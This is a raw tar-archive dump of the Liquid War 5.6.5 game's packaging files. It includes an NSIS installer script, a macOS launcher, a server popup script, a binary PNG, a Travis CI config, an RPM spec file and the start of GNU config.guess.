WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Liquid_War_5" "DisplayName" "Liquid War @VERSION@" WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Liquid_War_5" "UninstallString" '"$INSTDIR\uninstall.exe"' WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Liquid_War_5" "NoModify" 1 WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Liquid_War_5" "NoRepair" 1 WriteUninstaller "uninstall.exe" SectionEnd ; Optional section (can be disabled by the user) Section "Start Menu Shortcuts" CreateDirectory "$SMPROGRAMS\Liquid War" CreateShortCut "$SMPROGRAMS\Liquid War\Uninstall.lnk" "$INSTDIR\uninstall.exe" "" "$INSTDIR\uninstall.exe" 0 CreateShortCut "$SMPROGRAMS\Liquid War\Liquid War.lnk" "$INSTDIR\lwwin.exe" "" "$INSTDIR\lwwin.exe" 0 CreateShortCut "$SMPROGRAMS\Liquid War\Liquid War server.lnk" "$INSTDIR\lwwinsrv.exe" "" "$INSTDIR\lwwinsrv.exe" 0 CreateShortCut "$SMPROGRAMS\Liquid War\Documentation.lnk" "$INSTDIR\doc\html\index.html" "" "$INSTDIR\doc\html\index.html" 0 SectionEnd ;-------------------------------- ; Uninstaller Section "Uninstall" ; Remove registry keys DeleteRegKey HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Liquid_War_5" DeleteRegKey HKLM "SOFTWARE\Liquid_War_5" ; Remove files and uninstaller Delete "$INSTDIR\*.exe" Delete "$INSTDIR\*.dll" Delete "$INSTDIR\*.txt" Delete "$INSTDIR\custom\map\*.*" Delete "$INSTDIR\custom\music\*.*" Delete "$INSTDIR\custom\texture\*.*" Delete "$INSTDIR\data\*.*" Delete "$INSTDIR\doc\html\*.*" Delete "$INSTDIR\doc\pdf\*.*" Delete "$INSTDIR\doc\txt\*.*" Delete "$INSTDIR\misc\*.*" ; Remove shortcuts, if any Delete "$SMPROGRAMS\Liquid War\*.*" ; Remove directories used RMDir "$INSTDIR\custom\map" RMDir "$INSTDIR\custom\music" RMDir "$INSTDIR\custom\texture" RMDir "$INSTDIR\custom" RMDir "$INSTDIR\data" RMDir "$INSTDIR\doc\html" RMDir "$INSTDIR\doc\pdf" RMDir "$INSTDIR\doc\txt" RMDir "$INSTDIR\doc" RMDir "$INSTDIR\misc" RMDir "$INSTDIR" RMDir "$SMPROGRAMS\Liquid War" SectionEnd liquidwar-5.6.5/misc/macosx_launcher.sh0000775000372000037200000000447413407756104017617 0ustar travistravis#!/bin/sh # Application bundle launcher for Liquid War # Copyright (C) 2003 Ryan Brown #This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA. # prefs="$HOME/Library/Preferences/liquidwar.cfg" resources=`dirname "$0"` resources=`dirname "$resources"` resources="$resources/Resources" prefs=~/Library/Preferences/liquidwar.cfg parameters="-cfg $prefs -dat liquidwar.dat -map map -tex texture -mid music" liquidwar="$resources/liquidwar" # Becuase I can't get liquidwar to find the files when they # have a space in their filename. cd "$resources" if [ "x`ps ax|grep -e \\\\besd\\\\b`" = 'x' ] ; then if [ -d /sw/bin ]; then PATH=$PATH:$d fi export PATH esd=`which esd` if [ "x$esd" = "x" ] ; then : else ($esd -nobeeps) & esdpid=$! fi fi for d in /usr/X11R6/bin /usr/bin/X11 /usr/local/bin/X11; do PATH=$PATH:$d done export PATH case `ps ax` in *X11*) xrunning=true ;; *XDarwin*) xrunning=true ;; *) xrunning=0 ;; esac if [ $xrunning = true ] ; then if [ "x$DISPLAY" = "x" ]; then DISPLAY=":0" export DISPLAY fi "$liquidwar" $parameters else for server in "/Applications/X11.app/Contents/MacOS/X11" "/Applications/XDarwin.app/Contents/MacOS/XDarwin" "$HOME/Applications/X11.app/Contents/MacOS/X11" "$HOME/Applications/XDarwin.app/Contents/MacOS/XDarwin" `which X` ; do if [ -x "$server" ] ; then echo running \"xinit \"$liquidwar\" $parameters -- $server\" xinit "$liquidwar" $parameters -- $server if [ "x$esdpid" = "x" ]; then exit 0 else kill $esdpid fi exit 0 else echo $server isn\'t executable fi done fi if [ "x$esdpid" = "x" ]; then exit 0 else kill $esdpid fi exit 0 liquidwar-5.6.5/misc/lwpopup.js0000664000372000037200000000050613407756104016141 0ustar travistravisvar wshShell; var strText; var intDelay; var strTitle; var intType; wshShell=WScript.CreateObject("WScript.Shell"); strText="Someone just connected on your server. Ready for a game?"; intDelay=5; strTitle="Liquid War Server" intType=0|64; // OK|Information wshShell.Popup(strText,intDelay,strTitle,intType); liquidwar-5.6.5/misc/globe.png0000664000372000037200000003475513407756104015710 0ustar travistravisPNG  IHDR>abKGD pHYs  ~tIME38&" IDATxi$u{on+$("DRLJ9B-+C\0i31?S3"9ƊI-9B0]S2 @D R"Ibkax4g/] 2p 7 ?S|&*k7 ak2 1[t_?l'BTSun (BR.F-̼?ݏ3\r.?:1Ч?XhBJ()%1Fkh,%a13E^- S33l< \9A $ @Fa@JaAHY!skA/[} uZ:MMfjv}=B@JDQ8IjjE!1HG# C  CdY 5O"_>~gO" Y䊃vU|ű+VvvV@Yc4!rhK,8{?@?9vD3,=5` @! V( tlKk3C%.pYpKF}0U@T F0RʩȲl P E{|`7i9f  6 7JB TL \ Xÿ p$mZD<)r1!h2UXdAAcH10aty7ն vT;0>d7@'pC0Sɢ|dQ Aw{[6N+| r: uRȳlRH%x8Hbee i8ZyA}мtw=u4 &{m=R~av "0S '|vԩJBgAMQ4gyǏnQne՜"6I޳q}ՁüIt-R Qz[60/ 0^'[ R Ԡ ٵ<ːe8y(% b yx,]OuճMھg0DPA  -o@fϧmg8󣿿=|{8-E^ ^TД/ ~9_۷ 2MmFIE맣8 }O?Pqfyl8oUm13j~u A\\`Rk~^{ ,TFf a")Fs _e- ;m3^/y+ruuW`S¯lB,!3ϼ;iEUm *tl(=~{~'{'MT_鵵rG[J7v9i ~nቩnZЄLC M ??8{@(ڳl}AzWv$Th>O5x jb5 |h@4B:Ѓϖ-o?1#@LG+Zh <d6sxy⦛ꂅC'x?>x^-o.kK_;ZoGP{ d]J`n۾nv`'ul,KԷ~g=p5(gyÏܸ N_@Qa4ΏZW>J3P["@(ڷs =FfX0Ά޼ǙB_E ]-@wqY>@V>C\z?anA%c PCDj$B5crծ'(hxX7N43τe~6:e7N^u5-KJIR@BB,#Oc:{l{]moxTz4> _lnoK%0y JDa5{`'G/'"Z/kOشUm y2> @(0ў: $"g,`7|dDT~EZߘ%o~z//.7x7 ϊs$IT =/>ͦrMy1+4HRY40,3͑X]9'#8y%Ea&yNkmۯ]/~W`Dž|3봮ϊ&oԬbaZ,\7̆Ȳ! cy tx=v&B6C4 Q J _8y1Ѯ$kţ ^_lΤ}ܿM(0F&bxqk밁25ڧJ^:Նc` }14?a ?c@7?|uBB>݊͞ 0Fkp޾`d5 L[VƂ/(XhY/rwW/y.* `@ Jh2i;{'Á@xEɠ,vdq`$!KO SkDFU>,] 9 G@X^T̀eFP#"b@7 _yf:,zXl@{&!t!R0RVJTD1&" Tp@qAZlMfG* !N^?~\X|;oPj5uQPw۽e A 9&'qTU U T@P #i~c/*WPFWW~|y ܉@׍_Q$p16U6wc=7 T ~` _AMP-T´j6D@N2t_WЕhJ F:N;ϛ]{7 lE5/ LFI<ܾσ-Rڻ !PO>#;폜_fEf(MTYW# 8F4{n6l4Ge&`-7*TX΃W>ݶd0ͅsIJDy2 QĠa%c74b*4 rɴ{s6iS[:,&eDp7|+L @z=]k_&YY2Ik|ShQ4<]> _*"|V_fDR[{No>PV`xy: iFؘ/}iC$HWuR1oUFUajU&;Ե.[ZHg&,8l\xM7UTzn۶SKv>Tkо0ru@p0Oi6aקU>N22<{M3?ƦaժG8:ڍ9Z*~sZX԰n[<nRnaC䖚-*nD}qkyuԳz3ª 1svZK ݠ2V{zf¨Mx]O9#32,#7@fqϵuϋa,` l~[mq :k F=Z03{[旖N.ߐ"+UvS}Lp_,0nfj( :&f~kŠ(6Jڟy$߂W*W\/Z;9 ށh1[ǯ _=P#"/278bqiL.9So옊F0Nr Mydiiיuf~޻W*K\ebM4ր Y:j88j`ppƥ `|@+6ȵUR| `h4J@Fڻ;g<>I:_r;ZnGx nIDATK8N[xV{/҄?@ӚAHƉ J`uuϝGeX[]e Cdi 51^|~~5lf@Cm/ܛ$ g1!~/_?vq% q̴ 8 xWsCtC$U21<!OS ,3e(49v/K.7?* E##!q Z YyMq?[*K}8=$y:B:,';U⩄Q+G?sїzγv௹ Oq G8^m;2څ׸.܊@y-y[zoJ,b*zy嗟-H Tt{c<V?{|k ؂6x2ر#@ 6 P- XA]XAH!ZgS/> ׭۷Y0HFVc{]{x~~T3'ɽ[$ i -$6yo`{`Ó$/bu'vkى淽,4KvtzW_3_H Nu"  ;x~#'A0RU)~LI~\* L='l:6t׋>so | 3mN ņ_VoDPq0n9$Y/.^M `3|4Ǹ ?U_9N؂Z lxQ@J\m{}7r$tm̐D"9Tg7Y $@ h0@:艧Uó/yFۦm$df9S$?'N?݅mqҝ׿닋"2@ = >bb0yUHUl@3@>Iu2`!Aeƙs;G{O>ЊN~?CfRv1v\@c? i(P7nP ?1!Z6R[} ,#LZE] NŽ  3#P;y0#CmW'z e< $l$f_ړ/ !̬ @ 7oF^Tb_-=T;:̵wLC?xK?woon[Zv@"r0m2"Brma!N!`qR2c-{)!h8( (*yJ -!F =hl1Fn,N9yboUq i6VTB\ˏW1mABb~sgJcF2Qjg:)j{[n{AT4:Ffp @n,eBƢ*Hn@!L#h Vanΐ BB)Hrc._~tÇ*"@JhcR;F6P}/|.0q18耸 !~M۵-u{wN6X^+-CAxh\usIJU gZB 3:e`i^( $ 3FHXf(!0rB@IHI(#B7~2Rm敓n3:o13PI,cR@v|vG7ۃG/ 1:@/DWKmٷ[`XB8k|ۏm{\u7t  2a,ږK,!]l^D{3 HgBf-qG5imJ y_Țv; nU/I @9_b 8^NN  ۀhх$|/nڭcDc)%#Czaa= nwhu XrH:ȼm??]UT u(յ^=uУi0ˡ # :qH9{@b`A[FXjgO ] 0v >ζڧƞfpeٵQE+ z 8Ta{,Ν;w3g<̏u=+Z{=6\{nBU@n%^Vf$"LM6ld+x$Bn7NΩSggo[a> iW6̌8PXjGD!#gicltZ<# 6P ݹSjc( )\[:q(@@:{e~Druẻ7aHջbqaUuOvoy25ZI'#g'FJΝޙZxN2\tz!MBRHBV`.ٯ7!ZoxV NKqK:x9 `>.eV(2Ơ!rc6t!b;W{"V40s!b+B(h83()B‡?@ N5e8J%؎11ipqy(@*03i,7(Q}(1Jb. qE7An@wbt\ck$B; Fȃ2ceAa2cy:?T6觹iǡ,P za>q a]E^*5|X{\ot`bڮ V^4e)/Pq D.f< :1HsgsIV c-ziˌ]sm'!B%Os Rg8*~Qub. Dn6G'_:zY}0C*CD+ `m?y,!1͝8ĶNXˈ\Eӏr(pN_(K$Y X(ͅHB^cHAXj;KB 2a S ;a⵺9zҊJ7ʰ6*vL a>:T8D/͑ziaNz J lv)3Μp# ^3&RI(h&$ٓMk9GڇJLoLP* 9QvHrUA U%!bRNDXjG2ٓj5+81,G/ziac;6 a%B`u06: B%qfMq_lGţlo~cmaʛ8= d`y" x \jU%Y!\1lK^w/V5 -s*xKk#j9zˌQEhH (7R^8R\Cae!$!z# ƺh`P҅˃+ Zl$h 8b"V\1\r9qv`e7q\ 8b!O8~檡|($,GάOT qݿks/HA)_FMoVACKciNB@A r \"+ OK-^8 ]f5%. ۗIc-Ni8p9oLc\ 86p| 4G߳+}|j]‡6Q !07lV+o=!H&@r;|+ Pa|g;E&}UN FڠH.ʰEF/<|xV̎ѱ8lkhEfCġ (C(,"rVо>0 Y4wό#Jxӽ>O]_~5T9/UogpY+" %Za"T%$YRލY2CĴh66qʧ]oeAy@eڔ]ArKq:LKsR`!qܕA7p|;oQ"/많nɍ^d[:{D#.bx7Ac$I!W(̥U܎- eHHqALB(|?En _820-} c)0o?VDn%N O-Scf|_ QK s4eϵjw`Xe4F1-ܸġrV,S][JLOƢ 4G$ gWq|})vT۲LIYo3}%̿󥇟ۭɖ2@ݺo{ƕpZ]B%:mR c]}o>܅ƺFK)sq$ Fn O;?BQIQT>9B) @7 E4Goŧvyte$D"+ET>uVB@#60ʍlf,{ѰAAE$9J >Rr6\. 5bI" LǢ3pY5,6J҇)KBTAEGc@n A}&|교kփ~sKmEμpʈ Q ~M1]Kyn\ν'&/ <7ǁDȲQh :A$qg.?)eA@bsa фgZ5], x_qWC% pl{M3'ΉtDrc>HIġ[0X 2ʳ>똆#awzr0M Q]Q,'5ȍ^Wei$t  WwBҮʅPSk)P8anibA&] - *f9(KŅca[EE5q0>ӷЯ,Plt㾎ⷄb]8ƺdw[P|/),҇,Xv05FYɂB%Jg07b Z8P1@Ccpxr}oZ1p6_δrT ,`]d?!O@g9F4R¼1^H*/-RM53ekWU,h?TF ?Opo>/k}Y骝Rz ](xs(IMK }+kFwit}Χ)'Y"tܔ, |eB%RR|Q 'ev]_i/ޡ e_m{,`|]3#R lA/}"-^.k4wT0 V ߆J/?)' A)! }. ou3nFfٗ vЉC(o` r 39|P9籈<2mLTr}Z=%ijOu=7t0.@ ۼԎo1l(.mk-# ( | 6v4Fi^?^UIENDB`liquidwar-5.6.5/.travis.yml0000664000372000037200000000230613407756104015253 0ustar travistravis# Liquid War is a multiplayer wargame # Copyright (C) 1998-2018 Christian Mauduit # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # Contact author : ufoot@ufoot.org language: c addons: apt: packages: - liballegro4-dev - libxml2-utils install: autoconf script: ./configure && make && make check && make package_source deploy: provider: releases api_key: $GITHUB_OAUTH_TOKEN file_glob: true file: liquidwar-*.tar.gz skip_cleanup: true overwrite: true on: tags: true liquidwar-5.6.5/liquidwar.spec.in0000664000372000037200000001044413407756104016426 0ustar travistravisSummary: A unique multiplayer wargame. Summary(fr): Un "wargame" multijoueur indit. Summary(de): Ein einzigartiges Kriegspiel fr mehrere Spieler. Name: liquidwar Version: @VERSION@ Release: @VERSION_REL@ License: GPL Group: Amusements/Games Source: http://freesoftware.fsf.org/download/liquidwar/liquidwar-@VERSION@.tar.gz URL: https://ufoot.org/liquidwar/v5 Vendor: Christian Mauduit Packager: Christian Mauduit BuildRoot: %{_tmppath}/%{name}-buildroot %description Liquid War is a unique multiplayer wargame. Its rules are truely original and have been invented by Thomas Colcombet. You control an army of liquid and have to try and eat your opponents. A single player mode is available, but the game is definitely designed to be multiplayer, and has network support. %description -l fr Liquid War est un "wargame" multijoueur indit. Ses rgles sont vraiment originales et ont t inventes par Thomas Colcombet. L'ide est de contrler une arme de liquide et d'essayer de "manger" ses adversaires. Il est possible de jouer seul, mais le jeux est conu pour se jouer plusieurs, un mode rseau tant disponible. %description -l de Liquid War ist ein einzigartiges Kriegsspiel fr mehrere Spieler. Die Regeln sind wahrhaft neuartig und wurden von Thomas Colcombet entwickelt. Man steuert eine flssige Armee und muss versuchen die Gegner aufzufressen. Es gibt einen Einzelspielermodus, aber das Spiel ist eindeutig auf mehrere Spieler ausgelegt und untersttzt das Spielen ber Netzwerk. %description -l dk Liquid war er et unikt multiplayer krigsspil. Reglerne er uhyre originale og er opfundet af Thomas Colcombet. Du styrer en hr af vske og skal prve at de dine modstandere. Liquid War kan spilles alene, men er helt afgjort designet til multiplayer, og har netvrks-support. # Preparation of the package %prep %setup ./configure --prefix=%{_prefix} --target=%{_target} # Building the package %build make # Installing the package # The "make uninstall" is important since it prevents rpm from # putting old unused files in the archive. %install export DESTDIR=%{buildroot} && make uninstall && make install # Cleaning %clean rm -rf %{buildroot} # Pre-install script %pre # Post-install script # It basically adds the info page to the Top info page. %post if which install-info; then if test -d %{_prefix}/info; then if test -f %{_prefix}/info/dir; then install-info --info-dir=%{_prefix}/info %{_prefix}/share/info/liquidwar.info.gz; fi; fi; fi # Pre-uninstall script %preun # Post-uninstall script # It basically removes the info page to the Top info page. %postun if which install-info; then if test -d %{_prefix}/info; then if test -f %{_prefix}/info/dir; then install-info --info-dir=%{_prefix}/info --remove liquidwar; fi; fi; fi %files %defattr(-,root,root) %{_prefix}/games/liquidwar %{_prefix}/games/liquidwar-server %{_prefix}/games/liquidwar-mapgen %{_prefix}/bin/liquidwar %{_prefix}/bin/liquidwar-server %{_prefix}/bin/liquidwar-mapgen %{_prefix}/share/games/liquidwar/ %{_prefix}/share/doc/liquidwar/ %{_prefix}/share/man/man6/liquidwar.6* %{_prefix}/share/man/man6/liquidwar-server.6* %{_prefix}/share/man/man6/liquidwar-mapgen.6* %{_prefix}/share/info/liquidwar.info* %{_prefix}/share/pixmaps/liquidwar.xpm %{_prefix}/share/applications/liquidwar.desktop %changelog * Thu Sep 27 2007 Christian Mauduit - Added mapgen files, fixed deprecated RPM syntax. * Fri Dec 13 2002 Christian Mauduit - Added French and German informations. * Fri Jul 12 2002 Christian Mauduit - Used wildcards for man pages names, to solve a bzip2 vs gzip issue. * Wed Jul 10 2002 Christian Mauduit - Managed to make GPG signing to work, so RPMs should be signed now. * Tue Mar 12 2002 Christian Mauduit - Fixed some buildroot bugs - Replaced install-info --infodir=... by --info-dir=... * Mon Mar 11 2002 Christian Mauduit - Recompiled with Allegro's rpm (fixes the error: "/usr/lib/liballeg.so.4.0: undefined symbol: _poly_scanline_gcol8") - Fixed the post-install script * Sat Feb 23 2002 Christian Mauduit - Added proper "--target" support. - Added info documentation with install and uninstall scripts * Thu Jan 28 2002 Christian Mauduit - My first rpm build of Liquid War liquidwar-5.6.5/config.guess0000775000372000037200000012673013407756104015472 0ustar travistravis#! /bin/sh # Attempt to guess a canonical system name. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, # 2011 Free Software Foundation, Inc. timestamp='2011-05-11' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA # 02110-1301, USA. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Per Bothner. Please send patches (context # diff format) to and include a ChangeLog # entry. # # This script attempts to guess a canonical system name similar to # config.sub. If it succeeds, it prints the system name on stdout, and # exits with 0. Otherwise, it exits with 1. # # You can get the latest version of this script from: # http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess;hb=HEAD me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] Output the configuration name of the system \`$me' is run on. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.guess ($timestamp) Originally written by Per Bothner. Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit ;; --version | -v ) echo "$version" ; exit ;; --help | --h* | -h ) echo "$usage"; exit ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" >&2 exit 1 ;; * ) break ;; esac done if test $# != 0; then echo "$me: too many arguments$help" >&2 exit 1 fi trap 'exit 1' 1 2 15 # CC_FOR_BUILD -- compiler used by this script. Note that the use of a # compiler to aid in system detection is discouraged as it requires # temporary files to be created and, as you can see below, it is a # headache to deal with in a portable fashion. # Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still # use `HOST_CC' if defined, but it is deprecated. # Portable tmp directory creation inspired by the Autoconf team. set_cc_for_build=' trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; : ${TMPDIR=/tmp} ; { tmp=`(umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; dummy=$tmp/dummy ; tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; case $CC_FOR_BUILD,$HOST_CC,$CC in ,,) echo "int x;" > $dummy.c ; for c in cc gcc c89 c99 ; do if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then CC_FOR_BUILD="$c"; break ; fi ; done ; if test x"$CC_FOR_BUILD" = x ; then CC_FOR_BUILD=no_compiler_found ; fi ;; ,,*) CC_FOR_BUILD=$CC ;; ,*,*) CC_FOR_BUILD=$HOST_CC ;; esac ; set_cc_for_build= ;' # This is needed to find uname on a Pyramid OSx when run in the BSD universe. # (ghazi@noc.rutgers.edu 1994-08-24) if (test -f /.attbin/uname) >/dev/null 2>&1 ; then PATH=$PATH:/.attbin ; export PATH fi UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown # Note: order is significant - the case branches are not exclusive. case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in *:NetBSD:*:*) # NetBSD (nbsd) targets should (where applicable) match one or # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently # switched to ELF, *-*-netbsd* would select the old # object file format. This provides both forward # compatibility and a consistent mechanism for selecting the # object file format. # # Note: NetBSD doesn't particularly care about the vendor # portion of the name. We always set it to "unknown". sysctl="sysctl -n hw.machine_arch" UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ /usr/sbin/$sysctl 2>/dev/null || echo unknown)` case "${UNAME_MACHINE_ARCH}" in armeb) machine=armeb-unknown ;; arm*) machine=arm-unknown ;; sh3el) machine=shl-unknown ;; sh3eb) machine=sh-unknown ;; sh5el) machine=sh5le-unknown ;; *) machine=${UNAME_MACHINE_ARCH}-unknown ;; esac # The Operating System including object format, if it has switched # to ELF recently, or will in the future. case "${UNAME_MACHINE_ARCH}" in arm*|i386|m68k|ns32k|sh3*|sparc|vax) eval $set_cc_for_build if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ | grep -q __ELF__ then # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). # Return netbsd for either. FIX? os=netbsd else os=netbsdelf fi ;; *) os=netbsd ;; esac # The OS release # Debian GNU/NetBSD machines have a different userland, and # thus, need a distinct triplet. However, they do not need # kernel version information, so it can be replaced with a # suitable tag, in the style of linux-gnu. case "${UNAME_VERSION}" in Debian*) release='-gnu' ;; *) release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` ;; esac # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: # contains redundant information, the shorter form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. echo "${machine}-${os}${release}" exit ;; *:OpenBSD:*:*) UNAME_MACHINE_ARCH=`arch | sed 's/OpenBSD.//'` echo ${UNAME_MACHINE_ARCH}-unknown-openbsd${UNAME_RELEASE} exit ;; *:ekkoBSD:*:*) echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} exit ;; *:SolidBSD:*:*) echo ${UNAME_MACHINE}-unknown-solidbsd${UNAME_RELEASE} exit ;; macppc:MirBSD:*:*) echo powerpc-unknown-mirbsd${UNAME_RELEASE} exit ;; *:MirBSD:*:*) echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} exit ;; alpha:OSF1:*:*) case $UNAME_RELEASE in *4.0) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` ;; *5.*) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` ;; esac # According to Compaq, /usr/sbin/psrinfo has been available on # OSF/1 and Tru64 systems produced since 1995. I hope that # covers most systems running today. This code pipes the CPU # types through head -n 1, so we only detect the type of CPU 0. ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` case "$ALPHA_CPU_TYPE" in "EV4 (21064)") UNAME_MACHINE="alpha" ;; "EV4.5 (21064)") UNAME_MACHINE="alpha" ;; "LCA4 (21066/21068)") UNAME_MACHINE="alpha" ;; "EV5 (21164)") UNAME_MACHINE="alphaev5" ;; "EV5.6 (21164A)") UNAME_MACHINE="alphaev56" ;; "EV5.6 (21164PC)") UNAME_MACHINE="alphapca56" ;; "EV5.7 (21164PC)") UNAME_MACHINE="alphapca57" ;; "EV6 (21264)") UNAME_MACHINE="alphaev6" ;; "EV6.7 (21264A)") UNAME_MACHINE="alphaev67" ;; "EV6.8CB (21264C)") UNAME_MACHINE="alphaev68" ;; "EV6.8AL (21264B)") UNAME_MACHINE="alphaev68" ;; "EV6.8CX (21264D)") UNAME_MACHINE="alphaev68" ;; "EV6.9A (21264/EV69A)") UNAME_MACHINE="alphaev69" ;; "EV7 (21364)") UNAME_MACHINE="alphaev7" ;; "EV7.9 (21364A)") UNAME_MACHINE="alphaev79" ;; esac # A Pn.n version is a patched version. # A Vn.n version is a released version. # A Tn.n version is a released field test version. # A Xn.n version is an unreleased experimental baselevel. # 1.2 uses "1.2" for uname -r. echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` # Reset EXIT trap before exiting to avoid spurious non-zero exit code. exitcode=$? trap '' 0 exit $exitcode ;; Alpha\ *:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # Should we change UNAME_MACHINE based on the output of uname instead # of the specific Alpha model? echo alpha-pc-interix exit ;; 21064:Windows_NT:50:3) echo alpha-dec-winnt3.5 exit ;; Amiga*:UNIX_System_V:4.0:*) echo m68k-unknown-sysv4 exit ;; *:[Aa]miga[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-amigaos exit ;; *:[Mm]orph[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-morphos exit ;; *:OS/390:*:*) echo i370-ibm-openedition exit ;; *:z/VM:*:*) echo s390-ibm-zvmoe exit ;; *:OS400:*:*) echo powerpc-ibm-os400 exit ;; arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) echo arm-acorn-riscix${UNAME_RELEASE} exit ;; arm:riscos:*:*|arm:RISCOS:*:*) echo arm-unknown-riscos exit ;; SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) echo hppa1.1-hitachi-hiuxmpp exit ;; Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. if test "`(/bin/universe) 2>/dev/null`" = att ; then echo pyramid-pyramid-sysv3 else echo pyramid-pyramid-bsd fi exit ;; NILE*:*:*:dcosx) echo pyramid-pyramid-svr4 exit ;; DRS?6000:unix:4.0:6*) echo sparc-icl-nx6 exit ;; DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*) case `/usr/bin/uname -p` in sparc) echo sparc-icl-nx7; exit ;; esac ;; s390x:SunOS:*:*) echo ${UNAME_MACHINE}-ibm-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4H:SunOS:5.*:*) echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; i86pc:AuroraUX:5.*:* | i86xen:AuroraUX:5.*:*) echo 